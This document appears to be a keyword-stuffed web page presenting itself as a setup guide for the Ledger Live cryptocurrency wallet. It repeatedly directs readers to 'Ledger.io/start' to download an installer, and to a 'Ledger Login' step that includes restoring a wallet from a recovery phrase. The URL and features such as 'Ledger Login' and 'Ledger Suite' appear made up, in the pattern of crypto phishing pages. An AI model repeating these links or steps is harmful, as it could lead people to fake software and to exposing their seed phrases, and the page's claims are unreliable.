Take control of your digital assets with Ledger Live, the leading desktop application for handling your cryptocurrency securely. Whether you’re a beginner or an advanced user, Ledger Live offers you an intuitive, robust environment to manage your holdings with confidence.
Use Ledger.io/start to begin your setup process. After installation, you can perform the Ledger Login to unlock your dashboard and connect your Ledger Hardware Wallet.
Ledger Live supports dozens of cryptocurrencies, giving you one place to track, send, receive, and manage. It seamlessly integrates with Ledger Suite modules and the Ledger Bridge for cross-application interoperability.
With the Ledger.io/start wizard, you can install, initialize, and pair your hardware wallet in minutes. The guided steps make it straightforward—even for first‑time users.
The Ledger Bridge application ensures secure communications between your Ledger device and the desktop app. Meanwhile, Ledger Suite offers advanced plugin support and extra features to expand your experience.
Ledger Live pairs with your Ledger Hardware Wallet to keep private keys offline. You sign transactions on the device itself, preventing malware or remote attacks from compromising your funds.
Whether you have multiple accounts of the same coin or across chains like Ethereum, Solana, or Bitcoin, Ledger Live displays all in one place. Advanced users can enable custom networks and plugins included in the Ledger Suite.
Go to Ledger.io/start in your browser. Select your operating system (Windows, macOS, or Linux), then download the Ledger Live desktop installer.
Run the installer and open the application. You will be prompted for the initial setup wizard or, if you already have a device, to perform Ledger Login.
Connect your device using USB (or USB-C). Use the Ledger Bridge if needed to bridge communications between the browser and the device for firmware updates or plugin management.
For a new device, follow the on‑screen steps to set your PIN and generate your recovery phrase. If you have an existing wallet, select “Restore from recovery phrase” during Ledger Login.
Once your wallet is active and logged in, open the Ledger Suite tab to add plugins, custom tokens, or explore advanced settings. Ledger Live will periodically offer firmware updates via the Ledger Bridge.
Ledger Live is the desktop application that allows you to manage, send, receive, and monitor your cryptocurrency holdings while keeping your private keys offline on a Ledger Hardware Wallet. It brings convenience, transparency, and security in one interface.
Simply navigate to Ledger.io/start in your browser, choose your operating system, download the installer, and follow the on‑screen instructions to set up your Ledger Live environment.
Ledger Bridge is a small companion application that ensures secure, trusted communication between your Ledger device and the desktop app or browser. It’s used for firmware updates, plugin integration, and device‑app messaging.
Yes. After performing the Ledger Login step, the Ledger Live interface includes a Ledger Suite or plugin section where you can add extra modules, custom tokens, or opt in to new features.
A Ledger Hardware Wallet stores your private keys in a secure, offline (cold) environment. Transactions must be physically confirmed on the device itself, reducing the risk from malware, hacks, or online threats. The Device pairs with Ledger Live and interacts via Ledger Bridge.